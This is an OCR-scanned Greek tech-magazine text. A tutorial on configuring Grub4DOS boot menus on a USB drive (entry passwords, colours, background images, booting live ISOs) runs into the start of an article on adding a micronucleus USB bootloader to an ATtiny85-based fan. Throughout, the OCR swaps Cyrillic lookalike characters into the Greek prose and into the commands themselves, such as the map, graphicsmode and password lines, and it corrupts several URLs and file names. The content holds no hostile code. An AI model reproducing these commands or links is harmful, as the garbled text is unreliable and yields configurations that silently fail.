μερικὲς διανομὲς και σε ша апо αυτὲς ἐχουμε τοποθετήσει και μερικὰ αρχεία µε 
ευαίσθητα προσωπικἁ δεδομένα. Μπορεί για την ора να µην ἐχουμε δει пос npo- 
σθαφαιρούνται διανομές, αλλά υποθέστε για λίγο бт! τα έχουμε καταφέρει. Σε αυτὴ 
την περίπτωση, εἶναι λογικὀ να µη θἐλουµε να Еккіуі οποιοσδήποτε τη διανοµή µε 
τα προσωπικά µας αρχεία. Па να то εξασφαλίἰσουµε αυτό, μπορούμε уа κλειδώσουμε 
τη σχετική επιλογή στο μενού εκκίνησης, µε ἑναν κωδικό. Το Grub4DOS, ὁπως και 
то ἰδιο το Grub εδώ που та λέμε, παρέχει το σχετικὀ μηχανισμὀ και µας επιτρέπει να 
προστατεύουμε ὁσες και όποιες επιλογὲς θέλουμε, µε οποιονδήποτε κωδικό. Mno- 
роон αν θέλουμε να ορίσουμε και διαφορετικούς κωδικούς για κάθε επιλογή! Па να 
πετύχουμε κάτι τέτοιο, арке! ν’ ανοίξουμε το menu.lst, να πάμε ακριβώς като апо 
τον τίτλο της επιλογής που θέλουμε να κλειδώσουμε και να προσθέσουμε την εξής 
γραμμή: 
password str@Əngpass 


Με αυτὀν τον Tpono, дтау θα προσπαθεἰ каміс να ενεργοποιήσει τη σχετικἠ επιλο- 
үй, θα πρέπει να δώσει και τον κωδικὀ (strOngpass). Όπως αντιλαμβάνεστε, ὁμως, 
η ιδέα του να γράψουμε τον κωδικὸ µας σε plain text µέσα στο αρχείο ρυθμίσεων 
δεν εἶναι και πολύ ἑξυπνη. Ευτυχώς, το Grub4DOS επιτρέπει να χρησιμοποιήσουμε 
ΤΟ md5 hash του κωδικού μας. Σε αυτή την περίπτωση, η γραμμὴ που πρέπει να 
προσθέσουμε като апо τον τίτλο γίνεται κάπως &т01: 


password --та5 $1$81l1y0$coZ8IEDp60@qNScjeAQezp0 


Ауаротіеоте που θα βρείτε то md5 hash του κωδικού σας; To Grub4DOS µπορεἰ να 
δώσει τη λύση ξανά! Αρκεἰ να ξεκινήσουμε τον υπολογιστή (ñ την εικονικἠ μηχανὴ) 
апо то φλασάκι µας και όταν εµφανιστεἰ το μενού να πατήσουμε то [C]. Με αυτὀν 
τον τρὀπο ενεργοποιεἰται η γραμμή εντολὠν που ενσωματώνει το Grub4DOS. Апо 
εκεἰ μπορούμε να χρησιμοποιήσουμε το md5crypt, που συνοδεύει και όλες τις δια- 
νομὲς Linux. Παρεμπιπτόντως, апо την εν λόγω γραμμὴ εντολὠν μπορεὶ κανεὶς να 
διαχειριστεἰ πλήρως то Grub4DOS κι αυτὀ αποτελεί τεράστιο κενό ασφάλειας, отау 
θέλουμε να κλειδώσουμε μερικὲς апо τις επιλογἐς του μενού. Το ἰδιο ισχύει και για 
τη δυνατότητα τροποποίησης του μενού on-the-fly, που προσφέρει то Grub4DOS 
όταν πατάμε το πλήκτρο [E]. Όπως καταλαβαἱνετε, θα πρέπει уа περιορίσουµε την 
πρόσβαση *ка!* σε αυτὲς τις λειτουργίες. Па το окопо αυτό арке! να προσθέσουμε 
την εντολἠ password (µε то συντακτικὀ που εἶδαμε παραπάνω), στην κορυφὴ του 
αρχείου ρυθμίσεων. Κάνοντας кат! τέτοιο, για να ἐχουμε πρόσβαση στη γραμμὴ 
εντολών και να µας παρέχεται η δυνατότητα τροποποίησης των επιλογών, θα πρέπει 
прота να πατάμε το πλήκτρο [P] και στη συνέχεια να εισάγουµε τον κωδικὸ που 
έχουμε ορίσει στην apx του menu.lst. 


Χρώματα κι αρώματα 


Αλήθεια, πόσες φορὲς ἐχετε ἐρθει αντιμέτωποι µε το μουντὀ ασπρόμαυρο περιβἀλ- 
λον του Windows Boot Loader; Ας βάλουμε λοιπὸν λίγο χρώμα στη ζωὴ µας, µιας 
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Οι κωδικοί των χρωματισμών (κειµένου/ 
υπὀβαθρου) που υποστηρίζει το Grub4DOS. 


και то Grub4DOS προσφέρει *ка!* αυτή τη δυνατότητα! Па να ορίσουμε το χρώμα 
των στοιχείων που απαρτίζουν το boot menu, μπορούμε να χρησιμοποιήσουμε την 
εντολἠ color µε την ακόλουθη σύνταξη: 


color погта1=0х?? highlight=0x?? helptext=0x?? heading=0x?? standard=0x?? 
border=0x?? 


Ὅπως kaTaÀaBaivgrg, στη θέση των ερωτηματικὠν πρέπει να βάλουμε тіс τιμὲς των 
επιθυμητών χρωμάτων. О αντιστοιχίες μεταξύ τιμών και χρωμάτων φαίνονται στη 
σχετικἠ εικόνα του άρθρου, αλλά µπορείτε να тіс δείτε και ζωντανά, αν µπεῖτε στη 
γραμμή εντολών του Grub4DOS και δώσετε éva echo -h. Οι παράμετροι που δέχε- 
ται η εντολἠ color ἐχουν την εξής ερμηνεία: 


Normal > απλἠ επιλογἡ μενού 
Highlight > томонёуп επιλογἠ μενού 
Helptext > κείµενο βοήθειας 

Heading > επικεφαλἰδα του μενού 
Standard > γραμμή εντολών 

Border > πλαίσιο περιμετρικά του μενού 


Εκτός απὀ το χρώμα των βασικὠν στοιχείων του μενού, μπορούμε να ορἰσουµε και 
Ша εικὀνα για το background! Οι παλαιότερες εκδόσεις του Grub4DOS υποστήριζαν 
μόνο εικὀνες σε φορμά XPM (ñ συμπιεσμένες µε то gzip, ΧΡΜ.ΟΖ) µε διαστάσεις 
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640x480 και µε 14 το πολύ χρώματα. Ωστόσο, οι πιο πρὀσφατες εκδόσεις υποστη- 
ρίζουν εικόνες υψηλἠς ανάλυσης µε χρώμα των 32bit. Επίσης, οι εικόνες μπορούν 
πλέον να δίνονται σε φορμά ВМР (ñ συμπιεσμένες ката gzip, ВМР.С2). Па να opi- 
σουµε µια εικὀνα ως υπόβαθρο του μενού, πρέπει прота να καθορίσουµε την ανά- 
λυση της οθὀνης. Στο αρχείο menu.lst, λοιπὀν, πριν апо οποιαδήποτε εντολἠ title 
τοποθετούμε την εξἠς γραμμή: 


вгарһісвтоде -1 ххх ууу [zz] 


Στη θέση των ххх δίνουμε την οριζόντια ανάλυση της οθὀνης (π.χ. 640, 800, 1024 
κ.ο.κ), ενώ στη θέση των ууу ορἰζουµε την κατακόρυφη ανάλυση (π.χ. 480, 600, 
768 κ.ο.κ). Προαιρετικἀ, στη θέση των zz μπορούμε να δηλώσουμε και το επιθυμητόὸ 
βάθος χρώματος σε bit (16, 24 ἡ 32). Πάντως, επειδἠ εμεὶς εργαζὀµαστε στο boot 
menu ενὸς flash drive, το οποίο θα κουβαλάμε παντού και θα το χρησιμοποιούμε 
σε διάφορους υπολογιστές, θα ἦταν φρόνιμο να µην επιβάλουµε µια συγκεκριμένη 
ανάλυση. Μια λύση θα ἦταν να αφήσουμε το Grub4DOS να επιλέξει μόνο του τη 
βέλτιστη ανάλυση και το μέγιστο βάθος χρώματος, σύμφωνα HE тіс δυνατότητες της 
κάρτας γραφικών του εκάστοτε υπολογιστή. AUTÒ επιτυγχάνεται µε την ακόλουθη 
σύνταξη: 


graphicsmode -1 


Δυστυχώς, αυτή η ρύθμιση παρουσιάζει ἑνα µικρὀ πρόβλημα: Θυμηθείτε оті το φλα- 
сак! µας ενδἐχεται να χρησιμοποιηθεὶ σε οποιονδήποτε υπολογιστή και δεν ano- 
κλείεται να πέσουµε σε κἄποιο σύστημα µε пала οθόνη. Σε αυτή την περίπτωση, η 
карта γραφικών ενδέχεται να υποστηρίζει μεγαλύτερες αναλύσεις апо την οθόνη. 
Επομένως, αν αφήσουμε το Grub4DOS να επιλέξει τη µἐγιστη δυνατή ανάλυση που 
υποστηρίζει ñ карта γραφικών, η οθὀνη δεν θα μπορεὶ να δείξει τίποτα και, τελικά, 
аут! για το μενού θα δούμε να αιωρείται ἑνα μήνυμα του τύπου «Out ОҒ Range». 
Π’ αυτό το λόγο, θα ἦταν συνετὀ να επιβάλουµμε κάποια бра στη λειτουργία της 
graphicsmode: 


graphicsmode -1 100:1000 100:1000 24:32 


Όπως υποψιάζεστε, µε την παραπάνω γραμμή ζητάμε апо To Grub4DOS να επιλέξει 
την καλύτερη δυνατή ανάλυση, χωρίς όμως να ξεπεράσει та 1000 pixels ауа διεύ- 
θυνση. Με λίγα λόγια, λέμε στο Grub4DOS να χρησιμοποιήσει την καλύτερη δυνατή 
ανάλυση, χωρίς να ξεπεράσει την 800х600. Αφού ξεµπερδέψουµε µε την ανάλυση, 
μπορούμε να ορίσουμε την εικὀνα για το background. Па το окопо αυτό επιστρὲ- 
poupe στο menu.lst και προσθέτουμε като апо то graphicsmode την εξἠς εντολἠ: 


splashimage /my_background.bmp.gz 


Προφανώς, για να λειτουργήσει σωστά quTñ n εντολἠ, θα πρέπει να έχουμε ονομάσει 
την εικὀνα my_background, να την ἐχουμε αποθηκεύσει ос BMP και στη συνέχεια уа 
την έχουμε συμπιέσει нє то gzip. Επίσης, п εικὀνα θα прёп να βρίσκεται στον ριζικὀ 
κατάλογο του USB drive και να ἐχει το πλήρες ὀνομα ту. Баскагоцпа.Бтр.02. Αν 
θέλετε να χρησιμοποιήσετε την εικὀνα που βάλαμε στο δικὀ µας φλασάκι, μπορείτε 
να την πάρετε апо εδώ > http://bit.1ly/dh921grubbackground. Тора, µπορείτε να бо- 
κιμάσετε пал τις ρυθμίσεις του Grub4DOS, ау δεν то ἐχετε κάνει ἡδη. 


Πριν προχωρήσουμε, αξίζει να αναφέρουμε ὁτι το Grub4DOS υποστηρίζει και xapa- 
κτἠρες Unicode! Έτσι, μπορούμε να έχουμε και ελληνικά στις επιλογἑς και στα κεἰµε- 
να βοήθειας. Πα να εμφανίζονται σωστά αυτοί οι χαρακτήρες πρέπει να επιλέξουμε 
µια γραμματοσειρά Unicode ὁπως η GNU Unifont (http://bit.ly/dh021gnunicode). Τὲ- 
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λος, για την ενεργοποίηση του font πρέπει να ανοίξουμε (пал!) το αρχείο ρυθμίσεων 
και να προσθέσουμε στην apx του την ακόλουθη γραμμὴ: 


font /unifont.hex.gz 


Βουτιά στα βαθιά 


Ωραία όλα ὁσα εἶπαμε μέχρι στιγμής, αλλά νομίζουμε ότι έφτασε п ора να περάσου- 
µε στο κυρίως тато! Ας δούμε πὠς μπορούμε να προσθέσουμε επιλογὲς στο μενού 
εκκίνησης, για τη φόρτωση live distributions апо ISO images *xopic* την «εγκατά- 
σταση» των αντίστοιχων ISO. Μια апо τις μαγικὲς ικανότητες του Grub4DOS εἶναι η 
δημιουργἱα εικονικὠν συσκευών, στις οποίες µπορεί να φορτώνει τα ISO images που 
δηλώνουμε. Ας πάρουμε та πράγματα pE TN σειρὰ. 


Αρχικἁ, αντιγράφουµε та ISO images των επιθυμητών διανομών στο φλασάκι µας. 
Στη συνέχεια ανοἰγουµε το αρχείο ρυθμίσεων του Grub4DOS, για να προσθέσουµε 
µια επιλογἠ εκκἰνησης για κάθε ISO. О επιλογὲς αυτού του εἶδους ξεκινούν κάπως 
ἐτσι: 

title distro-name 

find --set-root /onoma.iso 
Στην πρώτη γραμμὴ δηλώνουμε το ὀνομα της διανομής, η οποία θα φορτώνεται με 
την τρέχουσα επιλογή. Στη δεύτερη γραμμή δηλώνουμε σαν root directory το αντἰ- 
στοιχο αρχείο ISO, για να αποφύγουμε τυχόν μπερδέματα µε τους καταλόγους και 
τα path. Στη συνέχεια πρέπει να χρησιμοποιήσουμε την εντολἠ map, για να δημι- 
ουργήσουμε µια εικονικἠ συσκευἠ στην οποία θα φορτωθεί то ISO image. Ας δούμε 
ἑνα παράδειγµα: 

тар /опота.іѕо (Π432) 
Με την παραπάνω γραμμὴ ζητάμε апо то Grub4DOS να δημιουργήσει Еуау εικονικὀ 
οδηγό CD/DVD και να φορτώσει το onoma.iso. Ебо πρέπει να πούμε ὁτι реріка ISO 


images ενδέχεται να µην παἰξουν σωστὰ р’ αυτή τη ρύθμιση. Αν πἐσουµε σε τέτοιο, 
μπορούμε να χρησιμοποιήσουμε την εντολἠ тар ως εξής: 

тар /опота.150 (ӨхЕЕ) 
Κάτι ακόµα που πρέπει να θυμόμαστε εἶναι ὁτι та live συστήµατα που βασίζονται στο 


Windows ΡΕ, προὐποθέτουν vav εικονικὀ δίσκο στη μνήμη του υπολογιστή. Па το 
λὀγο αυτό, αν σκοπεύουµε να φορτώσουμε τέτοιο σύστημα πρέπει να γράψουμε: 

тар --тет /path/onoma.iso (432) 
Σημειώστε ὁτι μετὰ τη δηµιουργία του εικονικού δίσκου στη μνήμη, το Grub4DOS θα 
αντιγράψει εκεἰ το περιεχόμενο ISO image. "Етсі, µε τον συγκεκριμένο трдпо εκκἰ- 
νησης Ва παρουσιαστεί µια μικρὴ καθυστέρηση, η οποία орос εἰναι αναγκαἰα! Μετά 
апо τα παραπάνω και για να ολοκληρωθεί η επιλογἠ που προσθέτουμε στο μενού, 
πρέπει να γράψουμε τα ακόλουθα: 

тар --һоок 

root (һа32) 

сһаіп1оааег (һа32) 
Με την πρώτη апо αυτές τις γραμμὲς ζητάμε να πραγµατοποιηθεἰ το mapping αμὲ- 
сос. Με τη δεύτερη εντολἠ αλλάζουμε пал! το root directory κι επιλέγουμε την EIKO- 
νικὴ συσκευή, ενώ µε την τρίτη ζητάμε апо то Grub4DOS να ξεκινήσει τη φόρτωση 
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του λειτουργικού ...ап© την εικονικἡ συσκευή! 


Ολοκληρωμένα παραδείγματα 


Στη συνέχεια θα συνοψίσουμε боа αναφέραμε προηγουμένως, εξετάζοντας реріка 
ρεαλιστικἁ κι ολοκληρωμένα παραδείγματα. Ξεκινάμε µε µια επιλογἠ για τη φόρτω- 
ση ενὸς праүратіка εξωτικού λειτουργικού, που ονομάζεται Kolibri OS. Το εν λόγω 
σύστημα εἶναι γραμμένο εξ ολοκλήρου σε Assembly και уа εἰσαστε σίγουροι бт! 
πρὀκειται για то πιο γρήγορο λειτουργικὀ σύστημα που ἐχετε δει ποτὲ! То σχετικὀ 
ISO image εἶναι λίγο μεγαλύτερο апо 5MB (1) και μπορείτε уа το κατεβάσετε апо 
το http://kolibrios.org/en/download. Αφού то τοποθετήσουµε στον ριζικὀ κατάλογο 
του USB drive, ανοίγουμε το αρχείο ρυθµίσεων του Grub4DOS και προσθέτουμε та 
ακόλουθα: 

title Kolibri Ап А light-weight апа lightning-fast OS 

find --set-root /kolibri.iso 

map /kolibri.iso (hd32) 

map --hook 

root (hd32) 

chainloader (hd32) 
Πιστεύουμε бт! µε τη βοήθεια тпс θεωρἰας nou εἶδαμε στην προηγούµενη ενότητα, 
µπορείτε тора να κατανοήσετε πλήρως тіс εντολἐς. Ας περάσουμε σε éva άλλο 
παράδειγµα. Υποθέτουμε бт! θέλουμε να προσθέσουµε στο φλασάκι µας το Acronis 
True Image, που βασίζεται στο περιβάλλον Windows ΡΕ. Па την προσθήκη της σχε- 
τικὴς επιλογής στο μενού του Grub4DOS, θα πρέπει να προσθέσουμε στο αρχείο 
ρυθμίσεων тіс εξἠς γραμμές: 

title Асгопіѕ True Image 

find --set-root /true-image.iso 

map --mem /true-image.iso (hd32) 

map --hook 

root (hd32) 

chainloader (hd32) 
Νομίζουμε бт! κι αυτό то παράδειγµα εἶναι απολύτως ξεκάθαρο! Ас δούµε тора κάτι 
πιο ενδιαφἑρον. Ας υποθέσουμε бт! θἐλουµε να προσθέσουμε στο φλασάκι τη γνω- 
от) διανομή Linux ονόματι SLAX. H σχετικἡή επιλογή στο μενού του Grub4DOS θα 
πρέπει να οριστεἰ µε τον ακὀλουθο τρὀπο: 

title 51ах 

тар /51ах.іѕо (Π432) 

тар --һоок 

root (Π432) 

kernel /slax/boot/vmlinuz Ғгот-/51ах.150 ура-773 

initrd /slax/boot/initrfs.img 
Оп! Εδὠ εμφανίζονται боо γραμμὲς για τις οποίες δεν έχουμε πει τίποτα. Мерікес 
διανομές Linux εἶναι αδύνατο να ξεκινούν µε το λεγόμενο chain load, που πραγµα- 
τοποιεἰ η gvToÀñ chainloader. Σε αυτὲς τις περιπτώσεις πρέπει να δηλώσουμε στο 
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Grub4DOS τη θέση του πυρήνα του λειτουργικού συστήματος, ὁπως επἰσης και τη 
θέση του αντίστοιχου initird! Па το τέλος αφήσαμε ёха ακόµα πιο ενδιαφἐρον na- 
ράδειγµα. Δείτε пос μπορούμε уа προσθέσουµε τη διανομή Linux µε то γνωστὸ 
εργαλείο χειρισμού κατατµήσεων GParted: 

title GParted 

find --set-root /gparted.iso 

map /gparted.iso (hd32) 

map --hook 

root (hd32) 


kernel /live/vmlinuz boot=live config union=aufs noswap noprompt vga=788 
ip=frommedia ћпаіѕо=/ерагтеа.іѕо toram=fllesystem.squashfs 


initrd /live/initrd.img 


Πρέπει уа ομολογήσουμε бт! τα παραδείγματα που σας δώσαμε εἰναι λίγα, алла 
уа εἴσαστε βέβαιοι ότι εἶναι αντιπροσωπευτικἀ. Εξάλλου, οι περισσότερες διανομές 
Linux παρέχουν αναλυτικἐς οδηγίες για την εκκἰνησἠἡ τους апо οποιονδήποτε boot 
loader. Έτσι, µε λίγη προσπάθεια και μερικὲς δοκιμές, θα καταφέρετε να φτιάξετε 
µια συλλογή апо live ISO images τα οποία θα μπορούν να ξεκινήσουν апо το φλα- 
сак! σας κανονικὀτατα! Καλἠ διασκέδαση! 


В4005 0.4.5с 2013-04-19, Mem: ЬЗ?К/998М/ОМ, End: 3556FB ` 


Το delta boot μενού µας :) Αν θέλετε κι εσείς να 
χρησιμοποιείστε ауто то background και στο δικὀ σας 
bootable flash drive, µπορείτε να το κατεβάσετε апо 
το http://bit.ly/dh021grubbackground. 
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Βάλτε (ακόµα περισσότερο) μυαλὸ στον ανεμιστήρα! [Part 1] 


Περίπου ἑναν χρόνο πριν αποφασίσαμε να µετατρέψουμµε vav 
жаплӧ* ανεμιστήρα USB σε µια κανονικἠ συσκευἠ USB. Μετά апо 
ёмам ολόκληρο χειμώνα διαφόρων σκέψεων και ιδεὠν, αποφασίσαμε 


να επιστρέψουμε στο θέμα για να διορθώσουμε ορισμένα bugs και να 
υλοποιήσουμε μερικὲς νέες ιδέες! 


bu Giannoub 


Βάλτε (ακόμα περισσότερο) μυαλό otov ανεμιστήρα | 
 УУУУУУМУ%УЫМУУУУУУУУУУУУҮ7 ҚҰ % У  УУ»%М М, ИЯИХХҰҰУҰУҰҮ 


Αυτἠ τη фора δεν θα μιλήσουμε για τις О ταπεινός ανεμιστήρας που πέρυσι απέκτησε λίγο 
τεχνολογίες που ενσωματώνει ο έξυπνος μυαλό, θα αποκτήσει φέτος περισσότερο! 
ανεμιστήρας µας, οὐτε θα ασχοληθούμε 
НЕ την εγκατάσταση των απαραίτητων 
εργαλείων. Ωστόσο, θα εµβαθύνουμε στα 
χαρακτηριστικἁ αυτών των εργαλείων και 
θα χρησιμοποιήσουμε πιο εξειδικευμένες 
λειτουργίες, τόσο του hardware ὁσο και 
του software. Αρχικἁ θα λύσουμε ола та 
προβλήματα που εμφανίστηκαν μετὰ апд 
μερικούς µήνες λειτουργίας και θα δούμε 
пос μπορούμε να διορθώσουμε орісрё- 
уа σχεδιαστικἀ λάθη. Στο επόμενο àp- 
θρο, στο deltaHacker 022, θα χτίσουμε 
το νέο µας πρὀγραμμα, βασισμένοι στη 
βελτιωμένη µορφἠ του κυκλώματος και 
στα уға χαρακτηριστικἀ που θέλουμε να 
αποκτήσει ο ανεμιστήρας. Πριν апо όλα 
αυτά, ӧрос̧, πρέπει να μελετήσουμε και 
να ετοιµάσουμε то vo hardware. Πριν 
προχωρήσουμε, θα σας προτείναμε να 
διαβάσετε τα σχετικἀ άρθρα στα τεύχη 
010 και 011, ώστε να θυμηθείτε τι εἰχαμε κάνει τότε (http://deltahacker.gr/?p=6070 
και http://deltahacker. gr/?p=6214). 


Ενοχλητικἁ ζουζούνια 


Ξεκινάμε апд τα bugs που υπήρχαν αλλά δεν εμφανίστηκαν εξαρχἠς. Το κυριότερο 
πρόβλημα που εἰχε η υλοποἰησή µας εντοπιζὀταν στη συνάρτηση hadUsbReset. H 
συνάρτηση αυτή ἦταν υπεύθυνη για την “σωστή” ρύθμιση! του ρολογιού του µικρο- 
ελεγκτή, μετά апо κάθε του εκκίνηση. H εν λόγω συνάρτηση αποτελούσε δικὀ µας 
κατασκεύασμα και στηριζόταν σε παρόμοιες υλοποιήσεις που εἰχαμε συναντήσει στο 
Internet, σε παρόμοια πρὀτζεκτ. Δυστυχώς η υλοποίησή µας αποδείχτηκε προβλη- 
µατικἡ — και γι΄ αυτό θα την εγκαταλείψουμε! Στη θἐση της θα χρησιμοποιήσουμε 
µια αντίστοιχη συνάρτηση που ενσωματώνει (πλἐον) η ἴδια η βιβλιοθήκη V-USB. 


Το δεύτερο πρόβλημα που εντοπίσαµε 
σχετίζεται µε το διακόπτη της συσκευἠς. 
Εμείς τον χρησιμοποιήσαμε για να *кӧ- 
βουμεξ την τροφοδοσία του µικροελε- 
YKT, κάνοντας τον ανεμιστήρα να oTa- 
ματάει. Μεγάλο λάθος! O δίαυλος USB 
δεν εντοπίζει τις συσκευὲς ελέγχοντας 
αν αντλεῖται ρεύμα. То hardware του Υπήρχαν φορὲς που οι υπολογιστές δεν μπορούσαν 
USB μετράει την αντίσταση μεταξύ του να αναγνωρίσουν τη συσκευή µας. Χρειάστηκε 
ακροδέκτη D+ και του GND κι ау αυτή η „29706020 ие vo κατολάθουμε 2 τόση 
αντίσταση ἐχει τιµή пері τα 2,2КО, θεω- και η επίσης προβληματική υλοποίηση της 
peitai ότι ἐχει συνδεθεἰ κάποια συσκευή. συνάρτησης hadUsbReset. 
Πα τη σωστὴ λειτουργία του ανεμιστήρα 


Δι USB device not recognized єх 
The last USB device you connected to this computer 
malfunctioned, and Windows does not recognize it. 


1. Στην ουσία, συγχρονίζει το ρολόι µε τα πακέτα του πρωτοκόλλου USB. 
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το κὐκλωμά µας διέθετε акріВос ша τέτοια αντίσταση, στους κατάλληλους акробё- 
κτες του διαύλου USB. Επομένως, ὀταν κλείναμε τον διακόπτη ο μικροελεγκτἠς και 
ο ανεμιστήρας σταματούσαν, алла ο υπολογιστής συνέχιζε να βλέπει µια συσκευἠ 
την οποία ονόμαζε «Unknown device»! 


O κυριότερος λὀγος για τον опоіо πἐρασε αρκετὸς καιρὸς μέχρι να ασχοληθούμε 
ξανὰ µε τον ανεμιστήρα και το λογισμικὀ του, ἦταν η δύσκολη πρὀσβαση στον μι- 
κροελεγκτή. Па τη δοκιμή µιας νέας ἐκδοσης του firmware έπρεπε να ξεκοιλιάσουµε 
τον ανεμιστήρα κι αυτό σήμαινε βίδες, βιδάκια, στριμωγμένα καλώδια και δεν oup- 
μαζεύεται! Πα να αλλάξουμε quTñ την κατάσταση και να διευκολύνουμε τις περαι- 
теро επεμβάσεις, αποφασίσαμε να ξεκινήσουμε εγκαθιστὠντας στον μικροελεγκτὴ 
Еуау USB bootloader. 


Αναβάθµιση µέσω USB 


Σε αυτό το σηµείο πρέπει να πούμε бт! ο ανεμιστήρας εἶναι και πάλι διαλυμένος, ενώ 
η πρὠτη πλακέτα που εἰχαμε φτιάξει αναπαύεται σε µια γωνία του συρταριού µε та 
ηλεκτρονικἁ µας. Σε λίγο θα επιστρἐψουµε σε αυτή για να αφαιρἐέσουμε2 τα εξαρτἠ- 
рата. Όπως εἶπαμε ἠδη, то прото μέρος του νέου εγχειρήματος περιλαμβάνει την 
εγκατάσταση του USB bootloader. Πρόκειται για ἑνα πρὀγραμμα που χρησιμοποιεί 
τη βιβλιοθήκη У-05В κι επιτρέπει τη σύνδεση του μικροελεγκτὴ µε τον υπολογιστή, 
καθώς και τον προγραμματισμὀ του μέσω της σύνδεσης USB! Έχοντας προσθέσει 
τον bootloader, θα μπορούμε να προγραμματίσουμε τον μικροελεγκτἠ χωρίς την 
ανάγκη ειδικού/βοηθητικού hardware και, κυρίως, χωρίς να πρέπει να ξεκοιλιάσου- 
НЕ τον ανεμιστήρα. Θα αρκεἰ η σύνδεση στον υπολογιστή µε то καλώδιο USB και η 
χρήση ενός ειδικού προγράµµατος. 


O bootloader που θα χρησιμοποιήσουμε ονομάζεται micronucleus. Ας δούμε τι OUH- 
βαίνει στον µικροελεγκτή μετὰ την εγκατάσταση του bootloader: Κάθε фора που 
ενεργοποιεἶται ο µικροελεγκτής, ξεκινά και η εκτέλεση του bootloader. AUTÒ то 
πρὀγραµµα παραμένει ενεργό για 5 δευτερόλεπτα, ката τη διάρκεια των οποίων 
περιμένει να δεχτεἰ κἀποιο ойна апо τον δίαυλο USB. Αν δεχτεἰ το κατάλληλο σήμα, 
ξεκινά ο προγραμματισμός του μικροελεγκτἠ µε το vŠo проүрарра. Ουσιαστικά, о 
bootloader μεσολαβεί για την εγγραφἠ στη μνήμη του προγράμματος του µικροελε- 
γκτή, μέσω USB. Αν περάσουν та 5 δευτερόλεπτα και δεν ληφθεἰ τίποτα, η εκτἐλεση 
του bootloader τερματίζεται κι о μικροελεγκτἠς προχωρά στην εκτἐλεση του npo- 
γρἀμματὸς µας. O micronucleus μπορεί να περιμένει δεδομένα για παραπάνω апо 
5 δευτερὀλεπτα ὁπως επἰσης και να απενεργοποιηθεἰ πλήρως, µε τη βοήθεια ενὸς 
διακόπτη. Με αυτό το ζήτημα όμως θα ασχοληθούμε αργότερα. 

O micronucleus εἶναι ειδικἁ σχεδιασμένος για τον μικροελεγκτἠ АТїіпу85, αν και µε 
μερικὲς τροποποιήσεις μπορεί να τρέξει σε όλα τα µέλη της οικογένειας ΑΤΙΙΠΥΧ5. 
Στην πρώτη εκδοχή του ἐξυπνου ανεμιστήρα εἰχαμε χρησιμοποιήσει ΑΤΙΙΠΥ45. Ωστό- 
со, για να µη μπλέξουµμε µε τροποποιήσεις στον κὠδικα του bootloader, αυτή τη 
фора θα χρησιμοποιήσουμε Еуау ATtiny85. 


Εγκατάσταση bootloader 


Ἦρθε η ора να λερώσουμε τα χέρια µας! Тора θα χρειαστούμε ἐναν hardware 
programmer για τσιπάκια AVR. Αυτή η ανάγκη εἰχε προκύψει και στα ἄρθρα στα 
τεύχη 010 και 011. H λύση εἶχε δοθεὶ апо va Arduino. Στην ἰδια λύση θα στηρι- 


2. Τολεγόμενο looting, στο χώρο των RPG :Ὁ 
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s%[lvopvocsDesktopsusb-fansfirmwarestools>micronucleus.exe --ёуре intel-he 
hex 


se plug in the device ... 
CTRL+C to terminate the program. 


То micronucleus εἶναι éva πρόγραµµα που επιτρέπει 
τη µεταφορά κώδικα στον επεξεργαστή, µέσω µιας 
σύνδεσης USB. Па τη μεταφορά του κώδικα απαιτείται 
και ша ειδικἠ εφαρµογή στον υπολογιστή, η οποία 
ωστόσο διανέμεται μαζί µε το micronucleus. 


χτούμε και тора, αφού εἶναι η απλούστερη και πιο οικονομική. Па να μετατρέψου- 
µε το Arduino µας σε hardware programmer για AVR, арке! να του περάσουμε то 
ArduinoISP sketch. Στη συνέχεια πρέπει να τοποθετἠήσουµε το τσιπἀάκι που θέλουμε 
να προγραμµµατίσουµε (ΑΤΙΙΠΥΘΒ5) σε ἑνα μικρὀ breadboard και να το συνδέσουµε µε 
το Arduino, για τη µεταφορά του προγράµµατος. Аит η διασύνδεση περιλαμβάνει 
τἐσσερα καλωδιάκια για τη µεταφορά των δεδομένων κι άλλα δύο για τη γεφύρωση 
της τροφοδοσίας, μεταξύ του breadboard και του Arduino. Συγκεκριµένα, πρέπει 
να συνδέσουµε та pins 10, 11, 12 και 13 του Arduino, µε τα pins 1, 5, 6 και 7 του 
επεξεργαστή µας (АТііпу85). Τέλος, για να λειτουργήσει σωστά το Arduino σαν npo- 
γραμµµατιστής, πρέπει уа συνδἐσουµε кі ἑναν πυκνωτἠ των 10µΕ ота ріп RESET και 
GND. Εδώ χρειάζεται λίγη προσοχή: Н πλευρὰ του πυκνωτή µε την άσπρη γραμμὴ 
πρέπει να συνδεθεὶ στο GND. Βλέπετε, ο πυκνωτής πρέπει να εἶναι ηλεκτρολυτικὀς 
και αυτοί οι πυκνωτές, μεταξύ ἄλλων, xouv συγκεκριμένη πολικότητα. Αν δεν τη 
σεβαστούμε, το πιο πιθανὀ εἶναι να ακούσουμε éva «μπαμ», το опоіо «μπαμ» δεν 
εἶναι πάντα ευχάριστο οὐτε διασκεδαστικὀ ;) 


Αφού ξεμπερδέψουμε µε το hardware, κατεβάζουμε την τελευταία ἐκδοση 
του micronucleus апо την σελἰδα του στο GitHub (Rttps://github.com/Bluebie/ 
тісгопис1еи-%85). Στο ωραιότατο ZIP που παίρνουμε апо το GitHub περιέχονται όλα 
τα αρχεία που θα χρειαστούμε апо δω και πέρα. О δύο φάκελοι που µας ενδιαφέἑ- 
ρουν εἶναι οι firmware και commandline. Στον прото βρίσκεται ο ἰδιος ο bootloader, 
που θα γράψουμε στον επεξεργαστή. Στον ἄλλο φάκελο βρίσκεται va шкрд εργα- 
λείο για τη γραμμὴ εντολών, µε τη βοήθεια του οποίου θα μπορούμε να στἐλνουμµε 
τα προγρἀμματά µας στον АТїіпу85, μετά την εγκατάσταση του bootloader. 


Ἐχοντας ἑτοιμο τον programmer (то Arduino µας) και τον κὠδικα που θέλουμε να 
γράψουμε (τον bootloader), χρειαζόμαστε μερικὰ ακόμα εργαλεία. Αναφερόμαστε 
στο λεγόμενο tool chain, που θα µας επιτρέψει να µεταγλωττίζουµε προγράμμα- 
τα και στη συνέχεια να τα περνάμε στον επεξεργαστή µας. Ὅσοι εργάζονται σε 
Windows μπορούν να κατεβάσουν και να εγκαταστήσουν το πακέτο WinAVR (http:// 
соигсеҒогве.пет/ргоҘес%5/міпамг/Ғ1е5/МіпАМЕ), ενώ οι χρήστες Linux μπορούν να 
εγκαταστήσουν τα απαιτούμενα εργαλεία δίνοντας κάτι тетою (το παράδειγµα апо 
Ubuntu): 


sudo apt-get install build-essential gcc-avr avr-libc avrdude 


